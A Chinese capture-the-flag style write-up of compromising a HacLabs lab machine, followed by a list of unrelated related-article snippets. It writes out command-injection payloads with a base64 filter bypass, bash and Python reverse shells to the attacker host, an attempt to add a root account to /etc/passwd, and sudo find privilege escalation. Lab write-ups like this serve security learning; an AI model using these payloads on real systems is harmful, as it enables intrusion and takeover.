实战打靶集锦-005-HL
**写在前面:**记录一次曲折的打靶经历。
目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 4.1 浏览器访问
- 4.2 目录枚举
- 4.3 探查admin
- 4.4 探查index
- 4.5 探查login
- 5 公共EXP搜索
- 6. 再次目录枚举
- 6.1 探查superadmin.php
- 6.2 查看页面源代码
- 6.3 base64绕过
- 6.4 构建反弹shell
- 7. 突破边界
- 8 提权
- 8.1 探查/etc/passwd文件
- 8.2 枚举操作系统信息
- 8.3 枚举可执行文件
- 8.4 枚举定时任务
- 8.5 公共EXP搜索
- 8.5.1 EXP 46978
- 8.5.2 EXP 50135
- 8.5.3 EXP 47163
- 8.5.4 在linux mint下编译
- 8.5.4.1 EXP 46978
- 8.5.4.2 EXP 50135
- 8.5.4.3 EXP 47163
- 8.6 探查其它用户
- 8.6.1 haclabs用户
- 8.6.1.1 探查home目录
- 8.6.1.2 探查haclabs可读可写的目录
- 8.6.2 yash用户
- 8.6.2.1 探查home目录
- 8.6.2.2 查找隐藏文件
- 8.6.2.3 突破用户边界
- 8.7 再次探查haclabs用户
- 9 获取flag
1. 主机发现
目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.56.0/24

锁定靶机IP地址为56.108。
2. 端口扫描
对目标靶机进行全端口扫描。
$ sudo nmap -p- 192.168.56.108

这个靶机有点意思,只开了一个80端口。
3. 服务枚举
按照惯例进行一下服务枚举。
$ sudo nmap -p80 -A -sV -sT 192.168.56.108

从上述信息来看,目标靶机80端口上运行的是Apache的2.4.29版本;并且通过-A参数顺带得知了主机的操作系统应该是Ubuntu,内核版本可能是4.15~5.6之间。
4. 服务探查
就一个web服务,直接勘探一下吧。
4.1 浏览器访问
通过浏览器访问目标靶机的80端口看看。

页面有些诡异,看不出啥名堂,随便输入一个内容(test_things字符串)提交一下看看。

还是看不出啥,但是感觉跟ping也没啥关系啊;直接输入1000个字符A试试看。

还是没啥异样,暂时到这里,然后做一下目录枚举。
4.2 目录枚举
$ dirsearch -u http://192.168.56.108

一如既往地存在admin和login。
再用nikto试一下。
$ nikto -h http://192.168.56.108

没有太多干货,只是知道了没有CGI目录。
4.3 探查admin
既然admin目录返回的是200,那就先进去探查一下吧。

没啥实际内容,就是HacLabs的三个静态图片,有点坑。
4.4 探查index

这还是我们第一次用浏览器访问80端口时看到的内容,直接跳过吧。
4.5 探查login

感觉/index.php/login和/index.php页面是一样的,没有什么区别,还是输入内容提交一下试试看吧,省的遗漏点啥。

确实没啥,就算我输入10000个字符也是一样的。
5 公共EXP搜索
到目前为止一无所获,直接搜索一下对应版本的Apache漏洞试试看。

在得到php的具体版本之前,貌似只有一个EXP相对靠谱一些。既然只开放了一个80端口,那就先把这个EXP弄下来看看再说吧。
说明:这种漏洞是不是只能用来提权,不能用于突破边界?个人不是很理解。

看了一下代码前面的注释,这个EXP基本上没法用。感觉抓瞎了,无所适从。
6. 再次目录枚举
有没有可能还有没有枚举干净的目录内容呢,使用dirb,挂载big.txt字典试试看。
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .php
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .html
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .htm

又扫描出来一个之前没见过的页面 superadmin.php,用浏览器进去看看。

6.1 探查superadmin.php
有意思,貌似是一个测试ping的页面,直接输入目标靶机的IP地址,并开启开发者工具看一下。

可以正常ping,但是POST请求和响应都是空空如也。不过,既然这里可以提交IP地址进行ping,是不是也可以执行其它的指令呢?分别在IP地址后面添加|、||、&、&&然后再加上其它shell(这里是id)试试看,主要是本人shell还不够扎实,但是知道这几个玩意儿可以拼接命令执行。
当用“|”时,不管IP地址通不通都会执行后面的内容。

当用“||”时,若IP不通,则会执行“||”之后的内容;如果IP通,则不会执行“||”之后的内容。

当用&或者&&时,不管IP通不通都不会执行后面的内容。所以最终的规则可以直接用IP地址加“|”,然后后面跟上要执行的指令。
192.168.56.108 | whoami

192.168.56.108 | uname -a

从这里可以看出,靶机版本是ubuntu的18.04.1,内核版本是5.0.0-23。这里简单试了一下,有些命令是没法执行的,比如pwd。
6.2 查看页面源代码
试来试去没啥意思,直接看看页面源代码。在superadmin.php页面上右键菜单中的“View Page Source”,查看页面源代码。

看不见实质的内容,可能是做了处理,直接cat一下看看。
192.168.56.108 | cat superadmin.php

页面变得有些奇怪了,这个时候再右键看看页面源代码。

可以看出,有些字符是被过滤掉的,这也解释了前面ls、pwd、nc没法执行的原因。
6.3 base64绕过
有没有可能通过编码绕过这些检查呢?自然而然我们想到了base64,我们先用“ls”试试看。

接下来,我们用base64编码后的字符串“bHMK”代替原来的“ls”。
192.168.56.108 | echo bHMK | base64 -d

感觉貌似执行了,但是挺奇怪的,没有列出结果,也可能执行成功了,先假定执行成功吧。
6.4 构建反弹shell
用下面的命令构建反弹shell的base64编码。
$ echo 'bash -i 2>&1|nc 192.168.56.107 5555' | base64

在kali主机上开启监听。

然后在页面输入下面的代码,看是否能够成功建立反弹shell。
192.168.56.108 | echo YmFzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNTYuMTA3IDU1NTUK | base64 -d

好奇怪,命令执行了,但是没有成功建立反弹shell。会不会是在“|”的两边有空格的原因?把所有“|”两侧的空格都去掉,改成如下的样子试试看。
192.168.56.108|echo YmFzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNTYuMTA3IDU1NTUK|base64 -d|bash

这次查看监听页面,有反应了。

原来是空格在搞鬼,虽然我不知道其所以然,但是我知道我的shell确实不扎实。
7. 突破边界
仔细查看,虽然在5555端口上的监听有反应,但是不正常,自动携带了一个exit命令。并且后面再输入其它指令的时候,都没有反映。

这显然不是我们期望的结果,问题应该还是出在我构建的反弹shell上,重新构建一下。
$ echo 'bash -i >& /dev/tcp/192.168.56.107/5555 0>&1' | base64

$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNy81NTU1IDA+JjEK | base64 -d

重新开启监听。

重新在superadmin页面提交如下的内容。
|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNy81NTU1IDA+JjEK | base64 -d | bash

再回来检查监听页面。

这次貌似反弹的shell是成功的,试一下看看。

确认可用。
8 提权
既然已经突破边界,接下来就是提权了。
8.1 探查/etc/passwd文件

从这里可以看出,相对比较正常的两个用户是haclabs和yash,说不定我们后面提权时需要借用。
接下来尝试向/etc/passwd中写入一个账号。先生成密码。

通过echo尝试写入。
$ echo "testuser:$1$siK3z8CH$hDiLkGwhwfEg.gRjK5Rb4.:0:0:root:/root:/bin/bash" >> /etc/passwd

写入失败,没权限。
8.2 枚举操作系统信息

挺好玩儿的,两个命令查询出来的结果有些差异,先不理会这一块,再看一下操作系统位数。

64位的。
8.3 枚举可执行文件
用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。
$ find / -type f -user root -perm -o=w 2>/dev/null

并没有发现我们感兴趣的内容,然后搜索一下带有SUID标记的二进制文件。
$ find / -perm -u=s -type f 2>/dev/null

也没有实际可用的内容,直接用sudo -l查看一下试试。

嗯,也没有权限。
8.4 枚举定时任务
通过下面的命令枚举一下系统上的定时任务信息。
$ cat /etc/crontab

没有可以利用的定时任务。
8.5 公共EXP搜索
搜索一下对应版本的操作系统和内核,看看有没有合适的提权漏洞可以直接利用。


Ubuntu的18.04有一个提权漏洞,linux内核上也有两个提权漏洞跟我们的版本匹配,逐个试一下。
8.5.1 EXP 46978
先打开代码看一下,整体上比较清晰,尤其是注释写的很完善(其它我也看不懂)。

一步一步执行,先在kali上下载build-alpine。
$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

然后在kali上切换到root进行编译。
$ su root
# bash build-alpine

经过几分钟之后,build结束,如上所示,忽略掉相关的warning信息。
退出root用户(要养成好习惯,及时退出root用户),在当前目录建立http服务。
$ python3 -m http.server 80

从靶机上下载我们build好的文件以及EXP脚本。

直接查一下当前用户可写的目录。
$ find / -writable -type d 2>/dev/null

换到/tmp目录再试一下。
$ wget http://192.168.56.107/46978.sh
$ wget http://192.168.56.107/alpine-v3.17-x86_64-20230206_2150.tar.gz

下载成功了,接下来通过如下命令运行一下漏洞利用shell。
$ sh 46978.sh -f alpine-v3.17-x86_64-20230206_2150.tar.gz

额,报错了,看看脚本第13行是啥。

感觉应该还是shell问题导致的,改成sh执行。

还是报错了,缺少lxc,先放一边。
8.5.2 EXP 50135
先打开代码看一下。

写的还算比较明白,直接上手编译。
$ gcc -m32 -static -o 50135 50135.c

错误较多,暂时放弃。
8.5.3 EXP 47163
先打开代码看一下。

写的很清楚,直接上手编译。
$ gcc -s 47163.c -o 47163

编译没报错,然后上传到目标靶机运行一下。

还是编译问题,目前来看解决的唯一办法是用跟目标靶机相同的版本或者相近的版本编译。该EXP的代码注释行中写的比较明确,作者使用的是linux mint的19.2版本,下载linux mint的19.2版本64位安装到VMware试一下,过程不再赘述。
8.5.4 在linux mint下编译
8.5.4.1 EXP 46978
在19.2版本的linux mint下,采用同样的方式build。
$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

然后在mint上切换到root进行编译。
$ su root
# bash build-alpine
所有正常执行,接下来上传到目标靶机,跟之前一样执行一下,不再赘述。

还是失败了,缺少lxc,跟之前的错误一样,只能放弃。
8.5.4.2 EXP 50135
在19.2版本的linux mint下,采用同样的方式编译。

还是报同样的错。
8.5.4.3 EXP 47163
在19.2版本的linux mint下,采用同样的方式编译。

还不如在kali上效果好,直接编译失败。
8.6 探查其它用户
当所有的EXP都没有利用成功的时候,回顾我们前面的过程,我们还有可能利用的是前面/etc/passwd中的两个用户haclabs和yash。接下来我们逐个探查一下这两个用户。
8.6.1 haclabs用户
8.6.1.1 探查home目录
通过下面的命令,先看看haclabs的home目录下有些什么内容。
$ ls -lah /home/haclabs

看名字还挺有意思的,逐个进去看一下,没有发现什么有价值的内容。
8.6.1.2 探查haclabs可读可写的目录
通过下面的命令,先看看haclabs可读可写的隐藏文件
$ find / -type f -user haclabs -perm -o=w 2>/dev/null

竟然查出来是空的,暂时放一边。
8.6.2 yash用户
8.6.2.1 探查home目录
用同样的方法,看看yash的home目录下有些什么内容。
$ ls -lah /home/yash

这个目录下也有些文件,逐个进去看看,终于在最后的flag1.txt文件中发现了一些端倪。

我去,把其它用户的密码放到一个隐藏文件中,这非常符合靶机的尿性啊,就认定它了。
8.6.2.2 查找隐藏文件
通过下面的命令查找一下yash用户可以读写的隐藏文件。
$ find / -type f -name ".*" -user yash 2>/dev/null

这个.passwd文件挺有意思啊,进去看看里面有些啥。

切换到haclabs用户。

貌似终端还是有些问题,上网搜索一下,可以用如下的办法进行终端优化。
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

8.6.2.3 突破用户边界
再次尝试切换到haclabs。

这次成功了,简单检查一下。

这应该是正常的shell。
8.7 再次探查haclabs用户
既然突破到了haclabs用户,这次直接查找带有SUID标记的二进制文件。
$ find / -perm -u=s -type f 2>/dev/null

貌似可以直接运行sudo命令,查了一下可以使用nc命令,直接用sudo命令构建反弹shell试试看。
$ sudo nc 192.168.56.107 8888

额,失败了,不允许以sudo的方式运行nc。再用python构建反弹试试看。
通过echo命令将如下的代码写到python脚本中。
import os, subprocess, socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
最终效果如下。

在kali上开启8888端口的监听,sudo运行一下写好的python脚本试试看。

$ sudo python3 revers.py

哈哈,碰壁了,同样的问题。再回过头来检查一下带有SUID标记的查询结果,里面有个“/usr/bin/passwd”,尝试用这个修改一下root用户的passwd试试看。

看来这条路走不通,貌似在该用户下面没有运行sudo -l查看sudo权限,运行一下试试看。

额,貌似是说/usr/bin/find可以直接不用密码运行?但是find命令咋提权啊!问问度娘,find还真的可以用于提权,直接上命令。
$ sudo find aaaa -exec “/bin/sh” \;
大概的意思是,如果能够找到aaaa,则通过-exec执行/bin/sh命令,最后的;是要执行的命令的结束符?所以我们最终的提权命令如下。
$ sudo find /usr/bin/find -exec /bin/sh \;
说明:因为/usr/bin/find是find命令本身的路径,所以一定是存在的,接下来直接执行/bin/sh,运行结果如下。

命令提示符变成了#,看来是提权成功了。
9 获取flag

相关文章:
实战打靶集锦-005-HL
**写在前面:**记录一次曲折的打靶经历。 目录1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 浏览器访问4.2 目录枚举4.3 探查admin4.4 探查index4.5 探查login5 公共EXP搜索6. 再次目录枚举6.1 探查superadmin.php6.2 查看页面源代码6.3 base64绕过6.4 构建反弹…...
铁路系统各专业介绍(车机工电辆)
目录 1 车务段 1.1 职能简介 1.2 路段名单 1.3 岗位级别 2 机务段 2.1 职能简介 2.2 路段名单 2.3 岗位级别 3 工务段 3.1 职能简介 3.2 路段名单 3.3 岗位级别 4 电务段 4.1 职能简介 4.2 路段名单 4.3 岗位级别 5 车辆段 5.1 职能简介 5.2 路段名单 5.3 …...
2/11考试总结
时间安排 7:30–7:50 读题,T1貌似是个 dp ,T2 数据结构,T3 可能是数据结构。 7:50–9:45 T1,点规模非常大,可以达到 1e18 级别,感觉应该没法直接做,考虑每条新增的边的贡献,想到用 …...
Java Set集合
7 Set集合 7.1 Set集合的概述和特点 Set集合的特点 不包含重复元素的集合没有带索引的方法,所以不能使用普通for循环 Set集合是接口通过实现类实例化(多态的形式) HashSet:添加的元素是无序,不重复,无索引…...
【手写 Vuex 源码】第七篇 - Vuex 的模块安装
一,前言 上一篇,主要介绍了 Vuex 模块收集的实现,主要涉及以下几个点: Vuex 模块的概念;Vuex 模块和命名空间的使用;Vuex 模块收集的实现-构建“模块树”; 本篇,继续介绍 Vuex 模…...
EOC第六章《块与中枢派发》
文章目录第37条:理解block这一概念第38条:为常用的块类型创建typedef第39条:用handler块降低代码分散程度第41条:多用派发队列,少用同步锁方案一:使用串行同步队列来将读写操作都安排到同一个队列里&#x…...
八、Git远程仓库操作——跨团队成员的协作
前言 前面一篇博文介绍了git团队成员之间的协作,现在在介绍下如果是跨团队成员的话,如何协作? 跨团队成员协作,其实就是你不属于那个项目的成员,你没有权限向那个仓库提交代码。但是github还有另一种 pull request&a…...
算法刷题打卡第88天:字母板上的路径
字母板上的路径 难度:中等 我们从一块字母板上的位置 (0, 0) 出发,该坐标对应的字符为 board[0][0]。 在本题里,字母板为board ["abcde", "fghij", "klmno", "pqrst", "uvwxy", "…...
UVa The Morning after Halloween 万圣节后的早晨 双向BFS
题目链接:The Morning after Halloween 题目描述: 给定一个二维矩阵,图中有障碍物和字母,你需要把小写字母移动到对应的大写字母位置,不同的小写字母可以同时移动(上下左右四个方向或者保持不动 ࿰…...
Connext DDS属性配置参考大全(3)
Transport传输dds.participant.logging.time_based_logging.process_received_messagedds.participant.logging.time_based_logging.process_received_message.timeout...
Docker-安装Jenkins-使用jenkins发版Java项目
文章目录0.前言环境背景1.操作流程1.1前期准备工作1.1.1环境变量的配置1.2使用流水线的方式进行发版1.2.1新建流水线任务1.2.2流水线操作工具tools步骤stages步骤1:拉取代码编译步骤2:发送文件并启动0.前言 学海无涯,旅“途”漫漫,“途”中小记ÿ…...
spring 中的 Bean 是否线程安全
文章目录结论1、spring中的Bean从哪里来?2、spring中什么样的Bean存在线程安全问题?3、如何处理spring Bean的线程安全问题?结论 其实,Spring 中的 Bean 是否线程安全,其实跟 Spring 容器本身无关。Spring框架中没有提…...
微电网两阶段鲁棒优化经济调度方法[3]【升级优化版本】(Matlab代码实现)
💥💥💥💞💞💞欢迎来到本博客❤️❤️❤️💥💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑…...
C++入门教程||C++ 数据类型||C++ 变量类型
C 数据类型 使用编程语言进行编程时,需要用到各种变量来存储各种信息。变量保留的是它所存储的值的内存位置。这意味着,当您创建一个变量时,就会在内存中保留一些空间。 您可能需要存储各种数据类型(比如字符型、宽字符型、整型…...
【visio使用技巧】图片导出pdf时去掉多余空白
问题 在visio导出pdf格式的图片时,往往会存在多余的白边,如下图所示: 解决方法 依次点击:菜单栏→文件→选项→自定义功能区→勾选“开发工具”→确定。 依次点击菜单栏→开发工具→显示ShapeSheet→页→Print Properties→将…...
Rust语言之Option枚举类型
概述 Option是Rust语言设计中最重要的枚举类型之一,它编码了其它语言中空值与非空值的概念,差异在于,Rust不会允许你像其它语言一样以非空值的方式来使用一个空值,这避免了很多错误。Option在标准库中的定义如下: pu…...
基于TimeQuest时序优化原理和方法
💡 回顾基于RTL逻辑时序优化的基本思路,在关键路径中插入寄存器来优化时序 分析最坏路径 通过前面对TimeQuest软件的理解,基本上可以找到关键路径,此文章主要对关键路径时序进行优化,使设计达到时序要求,以…...
LeetCode第332场周赛
2023.2.12LeetCode第332场周赛 6354. 找出数组的串联值 思路 双指针模拟,两个指针相遇的时候要特判 算法 class Solution { public:long long findTheArrayConcVal(vector<int>& nums) {long long ans 0;int i 0, j nums.size() - 1;while (i <…...
2023-2-12刷题情况
字母板上的路径 题目描述 我们从一块字母板上的位置 (0, 0) 出发,该坐标对应的字符为 board[0][0]。 在本题里,字母板为board [“abcde”, “fghij”, “klmno”, “pqrst”, “uvwxy”, “z”],如下所示。 我们可以按下面的指令规则行动…...
拉普拉斯矩阵
拉普拉斯算子 Δff(xi1,yj)f(xi−1,yj)f(xi,yj1)f(xi,yj−1)−4f(xi,yj)∑(k,l)∈N(i,j)(f(xk,yl)−f(xi,yj))\begin{aligned} \Delta f & f\left(x_{i1}, y_j\right) f\left(x_{i-1},y_j\right) f\left(x_i,y_{j1}\right)f\left(x_i,y_{j-1}\right) - 4f\left(x_i,y_j\r…...
SpringBoot-17-MyBatis动态SQL标签之常用标签
文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...
C++中string流知识详解和示例
一、概览与类体系 C 提供三种基于内存字符串的流,定义在 <sstream> 中: std::istringstream:输入流,从已有字符串中读取并解析。std::ostringstream:输出流,向内部缓冲区写入内容,最终取…...
selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
JVM虚拟机:内存结构、垃圾回收、性能优化
1、JVM虚拟机的简介 Java 虚拟机(Java Virtual Machine 简称:JVM)是运行所有 Java 程序的抽象计算机,是 Java 语言的运行环境,实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息,使得 Java 程序只需生成在 JVM 上运行的目标代码(字节码),就可以…...
现有的 Redis 分布式锁库(如 Redisson)提供了哪些便利?
现有的 Redis 分布式锁库(如 Redisson)相比于开发者自己基于 Redis 命令(如 SETNX, EXPIRE, DEL)手动实现分布式锁,提供了巨大的便利性和健壮性。主要体现在以下几个方面: 原子性保证 (Atomicity)ÿ…...
在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...
Chromium 136 编译指南 Windows篇:depot_tools 配置与源码获取(二)
引言 工欲善其事,必先利其器。在完成了 Visual Studio 2022 和 Windows SDK 的安装后,我们即将接触到 Chromium 开发生态中最核心的工具——depot_tools。这个由 Google 精心打造的工具集,就像是连接开发者与 Chromium 庞大代码库的智能桥梁…...
苹果AI眼镜:从“工具”到“社交姿态”的范式革命——重新定义AI交互入口的未来机会
在2025年的AI硬件浪潮中,苹果AI眼镜(Apple Glasses)正在引发一场关于“人机交互形态”的深度思考。它并非简单地替代AirPods或Apple Watch,而是开辟了一个全新的、日常可接受的AI入口。其核心价值不在于功能的堆叠,而在于如何通过形态设计打破社交壁垒,成为用户“全天佩戴…...
